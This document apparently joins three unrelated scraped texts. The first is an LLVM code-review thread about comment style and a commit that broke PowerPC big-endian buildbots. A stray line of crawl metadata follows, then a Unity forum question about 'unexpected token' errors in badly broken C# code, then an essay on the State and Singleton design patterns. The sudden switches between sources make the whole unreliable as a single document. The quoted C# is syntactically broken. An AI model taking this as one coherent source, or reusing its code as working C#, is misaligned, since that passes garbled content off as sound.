If it's common practice within other areas of WASM code, then that's fine, but I wasn't aware that it's a wider thing. To me, it initially looked like you'd just accidentally commented it out or something similar.
A blank line before this and the similar comment above would nicely break this function up, I think.
Done as you suggested, (but I added a full stop at the end ;-).
Yeah that makes sense; moved the comment.
Looking again, it doesn't seem to be as common in LLVM as in some other codebases I've used; I'll just remove it here.
clang-tidy: pass.
LGTM, with two nits.
Actually, for error messages, we usually don't end with a full stop :-)
The style we try to canonicalise on in the other binutils is lower-case first letter of first sentence, and no trailing full stops.
Don't ask me why that is the style, mind you...
We're a bit hit-and-miss on this, but it's probably good practice to use doxygen-style comments (i.e. '///') for things like this in headers.
@dschuff please note this patch causes build failures for PowerPC big endian buildbots with commit rGa928d127a52a
If the solution isn't a simple fix please revert the commit so we may continue testing the rest of the repository
D72723 may show up with some failures in between but here but this has since been resolved
i've attached the builds that broke and the lastest build from those bots:
clang-ppc64be-linux:
clang-ppc64be-linux-multistage:
clang-ppc64be-linux-lnt:
I won't have time to look at it today; i'll just revert and take a look tomorrow.
Relanded with a fix as rGf2af0607000c
I don't have a BE machine to test on, but I'm *pretty* sure it works :)
In D70930#1847950, @dschuff wrote:
I won't have time to look at it today; i'll just revert and take a look tomorrow.
Thank you, the buildbots are green again, best of luck addressing the failure. | https://reviews.llvm.org/D70930 | CC-MAIN-2021-31 | refinedweb | 1,497 | 63.39 |
more handy LINQ extension methods: the Any() and All() methods. These methods can help you examine an enumerable collection to determine if any, or all, of the items in the collection meet some logical condition.
The Any() method is a LINQ extension method that operates on any IEnumerable<TSource>. Its purpose is to return true if there is at least one item (or match) in a enumerable collection.
There are two forms of Any(), one of which checks for a match given a Predicate<TSource> that returns true if at least one item matches it, and one that takes no arguments (I’m ignoring the first argument and considering only extension method calling syntax) that returns true if there is at least one item in the list:
So, once again, let’s load a couple of sample List<Employee> like we did last week and examine some examples. Let’s assume Employee is defined as:
1: public sealed class Employee
2: {
3: public long Id { get; set; }
4: public string Name { get; set; }
5: public double Salary { get; set; }
6: }
And let’s assume we have a couple of instances of List<Employee> as below (yes, there are more efficient ways to do empty collections, etc., but we are assuming from a calling standpoint that we do not necessarily know what is in our list for these examples):
1: // empty
2: var noEmployeeList = new List<Employee>();
3:
4: // many items
5: var manyEmployeeList =: };
Now, if we look at the form of Any() that takes no parameters (aside from the implicit extension method source) we see that it’s really a “not empty” check. This is a very handy check to use anytime you want to see if an IEnumerable<TSource> collection is non-empty, because it’s a constant time operation (O(1)) as opposed to Count() which is constant time on ICollection implemenations, but linear (O(n)) on most others:
1: // false because noEmployeeList is empty
2: var hasAtLeastOne = noEmployeeList.Any();
3:
4: // true because manyEmployeeList has at least one item (not empty)
5: hasAtLeastOne = manyEmployeeList.Any();
Also note that Any(), even though it’s an extension method, will not save you from checking against a null reference! All of the LINQ extension methods on IEnumerable<TSource> check for a null source enumerable collection and throw an ArgumentNullException if you attempt to call them on a null reference.
So that’s the Any() that takes no additional arguments, so what about the overload that takes a Predicate<TSource>? As mentioned, this checks to see if at least one item exists in the enumerable collection that satisfies the predicate. If so, it will return true, if no items satisfy the predicate, it returns false:
1: // true because at least one employee exists in the list who's name starts with Jim
2: var hasAnyNameStartingWithJim = manyEmployeeList.Any(e => e.Name.StartsWith("Jim"));
4: // false because no employees exist with an even employee id.
5: var hasAnyEvenEmployeeId = manyEmployeeList.Any(e => (e.Id % 2) == 0);
Now, this may sound like it’s very similar to First() or Single() as discussed last week (here), but keep in mind the main difference is in the return value! Any() just verifies that an item (or match) exists, so it’s great for checking for error conditions, list consistency, etc. First() and Single(), in contrast, actually search for the item (or match) and return the item itself:
1: // only checks to see if any names are single names (no space separator), good for consistency check
2: var hasAnySingleNames = manyEmployeeList.Any(e => !e.Name.Contains(' '));
4: // searches for first name having only one name (no space separator), good for search
5: // finds first or returns null (default for ref types) if not found...
6: var firstSingleName = manyEmployeeList.FirstOrDefault(e => !e.Name.Contains(' '));
Each method family has their own purposes. The main thing to remember is that Any() is useful for verifying that you do (or do not) have any items meeting a given condition or to verify that a collection is non-empty, whereas the First() and Single() families are good for searching for items matching a given condition.
The All() extension method is very useful for checking enumerable collections for consistency. Just like Any() is used to check to see if an item matching a given predicate exists, All() checks to make sure every item in the collection matches the predicate. Unlike Any(), All() does not have a form that does not take a Predicate<TSource>, because this would not have meaning for All() – after all, what would All() with no additional arguments mean?
So we have only the one form that takes the predicate (in addition to the implicit source argument for the extension method syntax, of course):
Notice that last point! If the enumerable collection is empty, All() will return true regardless of what the predicate is! This makes logical sense because a list of zero items has no items to check, and thus there is no item in the list that fail to pass the predicate:
1: // returns true if all items in the list have at least one space in them.
2: var hasAllProperNames = manyEmployeeList.All(e => e.Name.Contains(' '));
4: // note that this also returns true even though the list is empty, because there is no item that fails!
5: hasAllProperNames = noEmployeeList.All(e => e.Name.Contains(' '));
Notice that we can achieve a very similar result with All() that we did with Any()? If you think about it, verifying that all items in a collection satisfy a condition is equivalent to saying that there is not any item in the list that does not satisfy the same condition!
1: // can check using all and look for all compliance
2: var allHaveProperNames = noEmployeeList.All(e => e.Name.Contains(' '));
4: // or can check using any and look for violations
5: var hasSingleName = manyEmployeeList.Any(e => !e.Name.Contains(' '));
Thus, often you can write the same check with either All() or Any() and it’s purely a matter of choice or readability. My rule of thumb for readability is that if I want to perform a “positive” check – that is, that all items should satisfy a criteria – I tend to use All(), whereas if I want to perform a “negative” check – that is, that no items should satisfy a criteria – I tend to use Any() to check for the opposite of the criteria.
One of the interesting ways that you can stretch the bounds of these methods is to “invert” their usage, so to speak, by having a collection of predicate checks against a single item, instead of a predicate check against a collection of items.
For instance, let’s say you’re reading input from the keyboard and it has to pass a series of checks for correctness (yes, there are other ways to do this, but this is just a simple example to illustrate the point so bear with me!):
1: private static bool IsAtLeastFiveChars(string text)
3: return text.Length >= 5;
4: }
5:
6: private static bool HasASpace(string text)
7: {
8: return text.Contains(' ');
9: }
10:
11: private static bool HasNoLeadingSpace(string text)
12: {
13: return !text.StartsWith(" ");
14: }
15:
16: private static bool HasNoTrailingSpace(string text)
17: {
18: return !text.EndsWith(" ");
19: }
Now we can takes all of these checks (and they can be as complex as you want, you can verify web service requests, or anything you like) and put them in a collection, a simple, static array is perfectly sufficient and efficient for this:
1: private static Predicate<string>[] _checks = new Predicate<string>[]
2: {
3: IsAtLeastFiveChars,
4: HasASpace,
5: HasNoLeadingSpace,
6: HasNoTrailingSpace
7: };
Now we have an array of checks to run against our data, now we can take a piece of data, and easily see if it passes all these checks:
1: public static void Main()
3: // read a line of input...
4: string result = Console.ReadLine();
6: // Notice the "inversion", we're seeing if all checks return true
7: // against the one piece of data!
8: bool doesPassAllChecks = _checks.All(c => c(result));
9:
10: // ...
11: }
Once again, this was just a simple example, but it just illustrates the power you can use with these methods to go beyond the bounds of just checking enumerated collections of data.
The Any() and All() extension methods in the System.Linq namespace are great methods for checking for enumerable collection consistency or violations. Used correctly they can help improve readability and simplify code that would otherwise be coded using traditional loops.
The Any() and All() only check for existence and do not search and return the items matching, for that see the post on First() and Single() here.
Hope you enjoyed the post and I’ll see you guys on the other side of the spring holiday!
Print | posted on Thursday, April 21, 2011 6:55 PM |
Filed Under [
My Blog
C#
Software
.NET
Little Wonders
] | http://geekswithblogs.net/BlackRabbitCoder/archive/2011/04/21/c.net-little-wonders-any-and-all.aspx | CC-MAIN-2020-34 | refinedweb | 1,487 | 54.86 |
AnyEvent::Fork::RPC - simple RPC extension for AnyEvent::Fork
use AnyEvent::Fork; use AnyEvent::Fork::RPC; my $rpc = AnyEvent::Fork ->new ->require ("MyModule") ->AnyEvent::Fork::RPC::run ( "MyModule::server", ); use AnyEvent; my $cv = AE::cv; $rpc->(1, 2, 3, sub { print "MyModule::server returned @_\n"; $cv->send; }); $cv->recv;
This module implements a simple RPC protocol and backend for processes created via AnyEvent::Fork or AnyEvent::Fork::Remote, allowing you to call a function in the child process and receive its return values (up to 4GB serialised).
It implements two different backends: a synchronous one that works like a normal function call, and an asynchronous one that can run multiple jobs concurrently in the child, using AnyEvent.
It also implements an asynchronous event mechanism from the child to the parent, that could be used for progress indications or other information.
Here is a simple example that implements a backend that executes
unlink and
rmdir calls, and reports their status back. It also reports the number of requests it has processed every three requests, which is clearly silly, but illustrates the use of events.
First the parent process:
use AnyEvent; use AnyEvent::Fork; use AnyEvent::Fork::RPC; my $done = AE::cv; my $rpc = AnyEvent::Fork ->new ->require ("MyWorker") ->AnyEvent::Fork::RPC::run ("MyWorker::run", on_error => sub { warn "ERROR: $_[0]"; exit 1 }, on_event => sub { warn "$_[0] requests handled\n" }, on_destroy => $done, ); for my $id (1..6) { $rpc->(rmdir => "/tmp/somepath/$id", sub { $_[0] or warn "/tmp/somepath/$id: $_[1]\n"; }); } undef $rpc; $done->recv;
The parent creates the process, queues a few rmdir's. It then forgets about the
$rpc object, so that the child exits after it has handled the requests, and then it waits till the requests have been handled.
The child is implemented using a separate module,
MyWorker, shown here:
package MyWorker; my $count; sub run { my ($cmd, $path) = @_; AnyEvent::Fork::RPC::event ($count) unless ++$count % 3; my $status = $cmd eq "rmdir" ? rmdir $path : $cmd eq "unlink" ? unlink $path : die "fatal error, illegal command '$cmd'"; $status or (0, "$!") } 1
The
run function first sends a "progress" event every three calls, and then executes
rmdir or
unlink, depending on the first parameter (or dies with a fatal error - obviously, you must never let this happen :).
Eventually it returns the status value true if the command was successful, or the status value 0 and the stringified error message.
On my system, running the first code fragment with the given MyWorker.pm in the current directory yields:
/tmp/somepath/1: No such file or directory /tmp/somepath/2: No such file or directory 3 requests handled /tmp/somepath/3: No such file or directory /tmp/somepath/4: No such file or directory /tmp/somepath/5: No such file or directory 6 requests handled /tmp/somepath/6: No such file or directory
Obviously, none of the directories I am trying to delete even exist. Also, the events and responses are processed in exactly the same order as they were created in the child, which is true for both synchronous and asynchronous backends.
Note that the parentheses in the call to
AnyEvent::Fork::RPC::event are not optional. That is because the function isn't defined when the code is compiled. You can make sure it is visible by pre-loading the correct backend module in the call to
require:
->require ("AnyEvent::Fork::RPC::Sync", "MyWorker")
Since the backend module declares the
event function, loading it first ensures that perl will correctly interpret calls to it.
And as a final remark, there is a fine module on CPAN that can asynchronously
rmdir and
unlink and a lot more, and more efficiently than this example, namely IO::AIO.
This example only shows what needs to be changed to use the async backend instead. Doing this is not very useful, the purpose of this example is to show the minimum amount of change that is required to go from the synchronous to the asynchronous backend.
To use the async backend in the previous example, you need to add the
async parameter to the
AnyEvent::Fork::RPC::run call:
->AnyEvent::Fork::RPC::run ("MyWorker::run", async => 1, ...
And since the function call protocol is now changed, you need to adopt
MyWorker::run to the async API.
First, you need to accept the extra initial
$done callback:
sub run { my ($done, $cmd, $path) = @_;
And since a response is now generated when
$done is called, as opposed to when the function returns, we need to call the
$done function with the status:
$done->($status or (0, "$!"));
A few remarks are in order. First, it's quite pointless to use the async backend for this example - but it is possible. Second, you can call
$done before or after returning from the function. Third, having both returned from the function and having called the
$done callback, the child process may exit at any time, so you should call
$done only when you really are done.
This example implements multiple count-downs in the child, using AnyEvent timers. While this is a bit silly (one could use timers in the parent just as well), it illustrates the ability to use AnyEvent in the child and the fact that responses can arrive in a different order then the requests.
It also shows how to embed the actual child code into a
__DATA__ section, so it doesn't need any external files at all.
And when your parent process is often busy, and you have stricter timing requirements, then running timers in a child process suddenly doesn't look so silly anymore.
Without further ado, here is the code:
use AnyEvent; use AnyEvent::Fork; use AnyEvent::Fork::RPC; my $done = AE::cv; my $rpc = AnyEvent::Fork ->new ->require ("AnyEvent::Fork::RPC::Async") ->eval (do { local $/; <DATA> }) ->AnyEvent::Fork::RPC::run ("run", async => 1, on_error => sub { warn "ERROR: $_[0]"; exit 1 }, on_event => sub { print $_[0] }, on_destroy => $done, ); for my $count (3, 2, 1) { $rpc->($count, sub { warn "job $count finished\n"; }); } undef $rpc; $done->recv; __DATA__ # this ends up in main, as we don't use a package declaration use AnyEvent; sub run { my ($done, $count) = @_; my $n; AnyEvent::Fork::RPC::event "starting to count up to $count\n"; my $w; $w = AE::timer 1, 1, sub { ++$n; AnyEvent::Fork::RPC::event "count $n of $count\n"; if ($n == $count) { undef $w; $done->(); } }; }
The parent part (the one before the
__DATA__ section) isn't very different from the earlier examples. It sets async mode, preloads the backend module (so the
AnyEvent::Fork::RPC::event function is declared), uses a slightly different
on_event handler (which we use simply for logging purposes) and then, instead of loading a module with the actual worker code, it
eval's the code from the data section in the child process.
It then starts three countdowns, from 3 to 1 seconds downwards, destroys the rpc object so the example finishes eventually, and then just waits for the stuff to trickle in.
The worker code uses the event function to log some progress messages, but mostly just creates a recurring one-second timer.
The timer callback increments a counter, logs a message, and eventually, when the count has been reached, calls the finish callback.
On my system, this results in the following output. Since all timers fire at roughly the same time, the actual order isn't guaranteed, but the order shown is very likely what you would get, too.
starting to count up to 3 starting to count up to 2 starting to count up to 1 count 1 of 3 count 1 of 2 count 1 of 1 job 1 finished count 2 of 2 job 2 finished count 2 of 3 count 3 of 3 job 3 finished
While the overall ordering isn't guaranteed, the async backend still guarantees that events and responses are delivered to the parent process in the exact same ordering as they were generated in the child process.
And unless your system is very busy, it should clearly show that the job started last will finish first, as it has the lowest count.
This concludes the async example. Since AnyEvent::Fork does not actually fork, you are free to use about any module in the child, not just AnyEvent, but also IO::AIO, or Tk for example.
With Coro you can create a nice asynchronous backend implementation by defining an rpc server function that creates a new Coro thread for every request that calls a function "normally", i.e. the parameters from the parent process are passed to it, and any return values are returned to the parent process, e.g.:
package My::Arith; sub add { return $_[0] + $_[1]; } sub mul { return $_[0] * $_[1]; } sub run { my ($done, $func, @arg) = @_; Coro::async_pool { $done->($func->(@arg)); }; }
The
run function creates a new thread for every invocation, using the first argument as function name, and calls the
$done callback on it's return values. This makes it quite natural to define the
add and
mul functions to add or multiply two numbers and return the result.
Since this is the asynchronous backend, it's quite possible to define RPC function that do I/O or wait for external events - their execution will overlap as needed.
The above could be used like this:
my $rpc = AnyEvent::Fork ->new ->require ("MyWorker") ->AnyEvent::Fork::RPC::run ("My::Arith::run", on_error => ..., on_event => ..., on_destroy => ..., ); $rpc->(add => 1, 3, Coro::rouse_cb); say Coro::rouse_wait; $rpc->(mul => 3, 2, Coro::rouse_cb); say Coro::rouse_wait;
The
say's will print
4 and
6.
on_event
This partial example shows how to use the
event function to forward AnyEvent::Log messages to the parent.
For this, the parent needs to provide a suitable
on_event:
->AnyEvent::Fork::RPC::run ( on_event => sub { if ($_[0] eq "ae_log") { my (undef, $level, $message) = @_; AE::log $level, $message; } else { # other event types } }, )
In the child, as early as possible, the following code should reconfigure AnyEvent::Log to log via
AnyEvent::Fork::RPC::event:
$AnyEvent::Log::LOG->log_cb (sub { my ($timestamp, $orig_ctx, $level, $message) = @{+shift}; if (defined &AnyEvent::Fork::RPC::event) { AnyEvent::Fork::RPC::event (ae_log => $level, $message); } else { warn "[$$ before init] $message\n"; } });
There is an important twist - the
AnyEvent::Fork::RPC::event function is only defined when the child is fully initialised. If you redirect the log messages in your
init function for example, then the
event function might not yet be available. This is why the log callback checks whether the fucntion is there using
defined, and only then uses it to log the message.
This module exports nothing, and only implements a single function:
The traditional way to call it. But it is way cooler to call it in the following way:
This
run function/method can be used in place of the AnyEvent::Fork::run method. Just like that method, it takes over the AnyEvent::Fork process, but instead of calling the specified
$function directly, it runs a server that accepts RPC calls and handles responses.
It returns a function reference that can be used to call the function in the child process, handling serialisation and data transfers.
The following key/value pairs are allowed. It is recommended to have at least an
on_error or
on_event handler set.
Called on (fatal) errors, with a descriptive (hopefully) message. If this callback is not provided, but
on_event is, then the
on_event callback is called with the first argument being the string
error, followed by the error message.
If neither handler is provided, then the error is reported with loglevel
error via
AE::log.
Called for every call to the
AnyEvent::Fork::RPC::event function in the child, with the arguments of that function passed to the callback.
Also called on errors when no
on_error handler is provided.
Called when the
$rpc object has been destroyed and all requests have been successfully handled. This is useful when you queue some requests and want the child to go away after it has handled them. The problem is that the parent must not exit either until all requests have been handled, and this can be accomplished by waiting for this callback.
When specified (by name), this function is called in the child as the very first thing when taking over the process, with all the arguments normally passed to the
AnyEvent::Fork::run function, except the communications socket.
It can be used to do one-time things in the child such as storing passed parameters or opening database connections.
It is called very early - before the serialisers are created or the
$function name is resolved into a function reference, so it could be used to load any modules that provide the serialiser or function. It can not, however, create events.
CORE::exit)
The function to call when the asynchronous backend detects an end of file condition when reading from the communications socket and there are no outstanding requests. It's ignored by the synchronous backend.
By overriding this you can prolong the life of a RPC process after e.g. the parent has exited by running the event loop in the provided function (or simply calling it, for example, when your child process uses EV you could provide EV::run as
done function).
Of course, in that case you are responsible for exiting at the appropriate time and not returning from
The default server used in the child does all I/O blockingly, and only allows a single RPC call to execute concurrently.
Setting
async to a true value switches to another implementation that uses AnyEvent in the child and allows multiple concurrent RPC calls (it does not support recursion in the event loop however, blocking condvar calls will fail).
The actual API in the child is documented in the section that describes the calling semantics of the returned
$rpc function.
If you want to pre-load the actual back-end modules to enable memory sharing, then you should load
AnyEvent::Fork::RPC::Sync for synchronous, and
AnyEvent::Fork::RPC::Async for asynchronous mode.
If you use a template process and want to fork both sync and async children, then it is permissible to load both modules.
All arguments, result data and event data have to be serialised to be transferred between the processes. For this, they have to be frozen and thawed in both parent and child processes.
By default, only octet strings can be passed between the processes, which is reasonably fast and efficient and requires no extra modules (the
AnyEvent::Fork::RPC distribution does not provide these extra serialiser modules).
For more complicated use cases, you can provide your own freeze and thaw functions, by specifying a string with perl source code. It's supposed to return two code references when evaluated: the first receives a list of perl values and must return an octet string. The second receives the octet string and must return the original list of values.
If you need an external module for serialisation, then you can either pre-load it into your AnyEvent::Fork process, or you can add a
use or
require statement into the serialiser string. Or both.
Here are some examples - all of them are also available as global variables that make them easier to use.
$AnyEvent::Fork::RPC::STRING_SERIALISER- octet strings only
This serialiser (currently the default) concatenates length-prefixes octet strings, and is the default. That means you can only pass (and return) strings containing character codes 0-255.
The main advantages of this serialiser are the high speed and that it doesn't need another module. The main disadvantage is that you are very limited in what you can pass - only octet strings.
Implementation:
( sub { pack "(w/a*)*", @_ }, sub { unpack "(w/a*)*", shift } )
$AnyEvent::Fork::RPC::CBOR_XS_SERIALISER- uses CBOR::XS
This serialiser creates CBOR::XS arrays - you have to make sure the CBOR::XS module is installed for this serialiser to work. It can be beneficial for sharing when you preload the CBOR::XS module in a template process.
CBOR::XS is about as fast as the octet string serialiser, but supports complex data structures (similar to JSON) and is faster than any of the other serialisers. If you have the CBOR::XS module available, it's the best choice.
The encoder enables
allow_sharing (so this serialisation method can encode cyclic and self-referencing data structures).
Implementation:
use CBOR::XS (); ( sub { CBOR::XS::encode_cbor_sharing \@_ }, sub { @{ CBOR::XS::decode_cbor shift } } )
$AnyEvent::Fork::RPC::JSON_SERIALISER- uses JSON::XS or JSON
This serialiser creates JSON arrays - you have to make sure the JSON module is installed for this serialiser to work. It can be beneficial for sharing when you preload the JSON module in a template process.
JSON (with JSON::XS installed) is slower than the octet string serialiser, but usually much faster than Storable, unless big chunks of binary data need to be transferred.
Implementation:
use JSON (); ( sub { JSON::encode_json \@_ }, sub { @{ JSON::decode_json shift } } )
$AnyEvent::Fork::RPC::STORABLE_SERIALISER- Storable
This serialiser uses Storable, which means it has high chance of serialising just about anything you throw at it, at the cost of having very high overhead per operation. It also comes with perl. It should be used when you need to serialise complex data structures.
Implementation:
use Storable (); ( sub { Storable::freeze \@_ }, sub { @{ Storable::thaw shift } } )
$AnyEvent::Fork::RPC::NSTORABLE_SERIALISER- portable Storable
This serialiser also uses Storable, but uses it's "network" format to serialise data, which makes it possible to talk to different perl binaries (for example, when talking to a process created with AnyEvent::Fork::Remote).
Implementation:
use Storable (); ( sub { Storable::nfreeze \@_ }, sub { @{ Storable::thaw shift } } )
See the examples section earlier in this document for some actual examples.
The RPC object returned by
AnyEvent::Fork::RPC::run is actually a code reference. There are two things you can do with it: call it, and let it go out of scope (let it get destroyed).
If
async was false when
$rpc was created (the default), then, if you call
$rpc, the
$function is invoked with all arguments passed to
$rpc except the last one (the callback). When the function returns, the callback will be invoked with all the return values.
If
async was true, then the
$function receives an additional initial argument, the result callback. In this case, returning from
$function does nothing - the function only counts as "done" when the result callback is called, and any arguments passed to it are considered the return values. This makes it possible to "return" from event handlers or e.g. Coro threads.
The other thing that can be done with the RPC object is to destroy it. In this case, the child process will execute all remaining RPC calls, report their results, and then exit.
See the examples section earlier in this document for some actual examples.
The following function is not available in this module. They are only available in the namespace of this module when the child is running, without having to load any extra modules. They are part of the child-side API of AnyEvent::Fork::RPC.
Send an event to the parent. Events are a bit like RPC calls made by the child process to the parent, except that there is no notion of return values.
See the examples section earlier in this document for some actual examples.
If and when the child process exits depends on the backend and configuration. Apart from explicit exits (e.g. by calling
exit) or runtime conditions (uncaught exceptions, signals etc.), the backends exit under these conditions:
The synchronous backend is very simple: when the process waits for another request to arrive and the writing side (usually in the parent) is closed, it will exit normally, i.e. as if your main program reached the end of the file.
That means that if your parent process exits, the RPC process will usually exit as well, either because it is idle anyway, or because it executes a request. In the latter case, you will likely get an error when the RPc process tries to send the results to the parent (because agruably, you shouldn't exit your parent while there are still outstanding requests).
The process is usually quiescent when it happens, so it should rarely be a problem, and
END handlers can be used to clean up.
For the asynchronous backend, things are more complicated: Whenever it listens for another request by the parent, it might detect that the socket was closed (e.g. because the parent exited). It will sotp listening for new requests and instead try to write out any remaining data (if any) or simply check whether the socket can be written to. After this, the RPC process is effectively done - no new requests are incoming, no outstanding request data can be written back.
Since chances are high that there are event watchers that the RPC server knows nothing about (why else would one use the async backend if not for the ability to register watchers?), the event loop would often happily continue.
This is why the asynchronous backend explicitly calls
CORE::exit when it is done (under other circumstances, such as when there is an I/O error and there is outstanding data to write, it will log a fatal message via AnyEvent::Log, also causing the program to exit).
You can override this by specifying a function name to call via the
done parameter instead.
So how do you decide which backend to use? Well, that's your problem to solve, but here are some thoughts on the matter:
The synchronous backend does not rely on any external modules (well, except common::sense, which works around a bug in how perl's warning system works). This keeps the process very small, for example, on my system, an empty perl interpreter uses 1492kB RSS, which becomes 2020kB after
use warnings; use strict (for people who grew up with C64s around them this is probably shocking every single time they see it). The worker process in the first example in this document uses 1792kB.
Since the calls are done synchronously, slow jobs will keep newer jobs from executing.
The synchronous backend also has no overhead due to running an event loop - reading requests is therefore very efficient, while writing responses is less so, as every response results in a write syscall.
If the parent process is busy and a bit slow reading responses, the child waits instead of processing further requests. This also limits the amount of memory needed for buffering, as never more than one response has to be buffered.
The API in the child is simple - you just have to define a function that does something and returns something.
It's hard to use modules or code that relies on an event loop, as the child cannot execute anything while it waits for more input.
The asynchronous backend relies on AnyEvent, which tries to be small, but still comes at a price: On my system, the worker from example 1a uses 3420kB RSS (for AnyEvent, which loads EV, which needs XSLoader which in turn loads a lot of other modules such as warnings, strict, vars, Exporter...).
It batches requests and responses reasonably efficiently, doing only as few reads and writes as needed, but needs to poll for events via the event loop.
Responses are queued when the parent process is busy. This means the child can continue to execute any queued requests. It also means that a child might queue a lot of responses in memory when it generates them and the parent process is slow accepting them.
The API is not a straightforward RPC pattern - you have to call a "done" callback to pass return values and signal completion. Also, more importantly, the API starts jobs as fast as possible - when 1000 jobs are queued and the jobs are slow, they will all run concurrently. The child must implement some queueing/limiting mechanism if this causes problems. Alternatively, the parent could limit the amount of rpc calls that are outstanding.
Blocking use of condvars is not supported (in the main thread, outside of e.g. Coro threads).
Using event-based modules such as IO::AIO, Gtk2, Tk and so on is easy.
Unlike AnyEvent::Fork, this module has no in-built file handle or file descriptor passing abilities.
The reason is that passing file descriptors is extraordinary tricky business, and conflicts with efficient batching of messages.
There still is a method you can use: Create a
AnyEvent::Util::portable_socketpair and
send_fh one half of it to the process before you pass control to
AnyEvent::Fork::RPC::run.
Whenever you want to pass a file descriptor, send an rpc request to the child process (so it expects the descriptor), then send it over the other half of the socketpair. The child should fetch the descriptor from the half it has passed earlier.
Here is some (untested) pseudocode to that effect:
use AnyEvent::Util; use AnyEvent::Fork; use AnyEvent::Fork::RPC; use IO::FDPass; my ($s1, $s2) = AnyEvent::Util::portable_socketpair; my $rpc = AnyEvent::Fork ->new ->send_fh ($s2) ->require ("MyWorker") ->AnyEvent::Fork::RPC::run ("MyWorker::run" init => "MyWorker::init", ); undef $s2; # no need to keep it around # pass an fd $rpc->("i'll send some fd now, please expect it!", my $cv = AE::cv); IO::FDPass fileno $s1, fileno $handle_to_pass; $cv->recv;
The MyWorker module could look like this:
package MyWorker; use IO::FDPass; my $s2; sub init { $s2 = $_[0]; } sub run { if ($_[0] eq "i'll send some fd now, please expect it!") { my $fd = IO::FDPass::recv fileno $s2; ... } }
Of course, this might be blocking if you pass a lot of file descriptors, so you might want to look into AnyEvent::FDpasser which can handle the gory details.
There are no provisions whatsoever for catching exceptions at this time - in the child, exceptions might kill the process, causing calls to be lost and the parent encountering a fatal error. In the parent, exceptions in the result callback will not be caught and cause undefined behaviour.
AnyEvent::Fork, to create the processes in the first place.
AnyEvent::Fork::Remote, likewise, but helpful for remote processes.
AnyEvent::Fork::Pool, to manage whole pools of processes.
Marc Lehmann <schmorp@schmorp.de> | http://search.cpan.org/~mlehmann/AnyEvent-Fork-RPC-1.22/RPC.pm | CC-MAIN-2017-26 | refinedweb | 4,384 | 56.29 |
This is and answer to one of the Vegaseat's recent projects for beginners.
I share my solution here because -as a begginer and do learn python as a hobby-
I need your feedback. So please tell me am I doing it the right way?
Thanks in advance for comments
from string import punctuation as punc def find_longest(text): words = list(set(word.strip(punc) for word in text.split())) length = len(sorted(words,key=len,reverse=1)[0]) longest= [word for word in words if len(word)==length] return longest, length #=============== TEST ==============# text = ""'.""" wordlist, length = find_longest(text) print "Longest Word's Length: %d" %length print "Longest Word(s): %s" %(str(wordlist)) | https://www.daniweb.com/programming/software-development/threads/435110/project-for-begginers-what-is-the-best-solution | CC-MAIN-2019-04 | refinedweb | 112 | 75.1 |
i keep getting error messages saying there is an unexpected token in a script i am using. does anyone know what this means and how to get rid of it and could you plz explain it to me in simple terms cos i am a bit of a noob with java.
here is the script with the problems
using; UnityEngine; using; System.Collections.Generic;
public class Decal MonoBehaviour { static; public int dCount;
public class Decal MonoBehaviour { static; public int dCount;
//The gameObjects that will be affected by the decal.
[HideInInspector];
public GameObject[]; affectedObjects;
private : float angleCosine;
//The gameObjects that will be affected by the decal.
[HideInInspector];
public GameObject[]; affectedObjects;
private : float angleCosine;
the problems with it are:
unexpected tokens: monobehaviour, static, int, gameobject
other problems: expecting EOF, found private
hope this makes answering easier and thanx for ur help
Please highlight your code and push the 10101 button up top to code-ify it. Thanks.
Why do you have static; in there? That's not really helping... Maybe you should try to learn to script before you copy others code and understand why what happens...
I was going to say the same thing why did you place the ; after the Static ?
You aren't writing JAVA! It doesn't even look like Javascript. You should look at different examples of C#, and Javascript to understand the differences. And you're being pretty liberal with the use of ';' in the code. It indicates the end of a statement and is inappropriate after 'using', and 'static' and this is a real mess you have here.
Answer by Justin Warner
·
Apr 22, 2011 at 02:03 PM
Google helps.
But mainly, the type your trying to pass through doesn't exist, highly recommend posting script so that others can help you more. <-- shorter URL and more condescending.
Lol, true, but meh... X.
Converted a script from C# to JS, Unexpected Token: .. What did I do?
1
Answer
Unexpected Token }.
1
Answer
Unexpected token: ..
1
Answer
unexpected token
2
Answers
Unexpected Token: Collider.
1
Answer | https://answers.unity.com/questions/59987/what-is-an-unexpected-token.html | CC-MAIN-2020-50 | refinedweb | 341 | 65.93 |
The Singleton connection
Design Patterns [1] includes the name Objects for States only as an alias and the pattern is probably better known for its primary name: State. I prefer the name Objects for States because it expresses both the intent and resulting structure in a much better way. After all, the main idea captured in the pattern is to represent each state as an object of its own.
Besides the naming issue, everything starts just fine in the pattern description and nothing indicates that Singleton is about to enter the scene. Not even as Design Patterns discusses implementation issues concerning the lifetime of state-objects do they actually mention Singleton. Turn the page and suddenly the pattern appears in the sample code with each state implemented as Singleton. Later on Design Patterns officially relates the two patterns by concluding that "State objects are often Singletons" [1]. However true that statement may be, is it a good design decision?
The case against Mr Singleton
The Singleton pattern is on the verge of being officially demoted to anti-pattern status. In order to get the freshest insider information possible, I decided to carry out an interview with the subject himself. Mr Singleton surprised me with his honesty and introspective nature.
"Mr Singleton, you have been accused of causing design damage [6] and of leading programmers to erroneous abstractions by masquerading your tendencies to global domination as a cool object-oriented solution. What are your feelings?"
"I'm just an innocent pattern, I did nothing wrong. I feel truly misunderstood."
"But your class diagram included in Design Patterns looks rather straightforward. It doesn't get simpler than that - one class only - how could anyone possibly misunderstand that?"
"Well, that's the dilemma." He continues with a mystic look on his face: "I look simple but my true personality is rather complex, if I may put it that way."
I understand he has more to say on the subject. I'll see if we can get further.
"Interesting! Care to elaborate?" It seems like he just waited for this opportunity. Mr Singleton immediately answers, not without a tone of pride in his voice:
"Sure, first of all I'm hard to implement."
"Yes, I'm aware of that. Most writings about you are actually descriptions of the problems you introduce. What springs to my mind is, hmm, well, no offence, discussions about killing Singletons [9], a subject which makes matters even worse. There's also all the multithreading issues with you involved [10]."
"Yeah, right, but my implementation is the minor problem. Can you keep a secret?"
"Sure", I reply crossing my fingers.
"Hmm, I shouldn't really mention this, but Design Patterns are over-using me."
"Wow! You mean that you are inappropriately used to implement other patterns?"
"Yes, you may put it that way. I mean, part of my intent is to ensure that a class only has one instance. But if an object doesn't have any internal state, then what's the point of using me? If there isn't any true uniqueness constraint, why implement mechanisms for guaranteeing only one, single instance?"
Reflecting on the above dialogue I notice that it describes a common problem with many implementations using Objects for States. In most designs the state objects are stateless, yet many programmers, including my younger self, implement them as Singletons. Sounds like some serious tradeoffs are made. After all, I like to take a test-driven approach and writing unit tests with Singletons involved is a downright scary thought. Mr Singleton agrees:
"It's sad, isn't it? You end up solving the solution. Not only does it mean writing unnecessary code and that's a true waste; worse is that I'm wrong from a design perspective too."
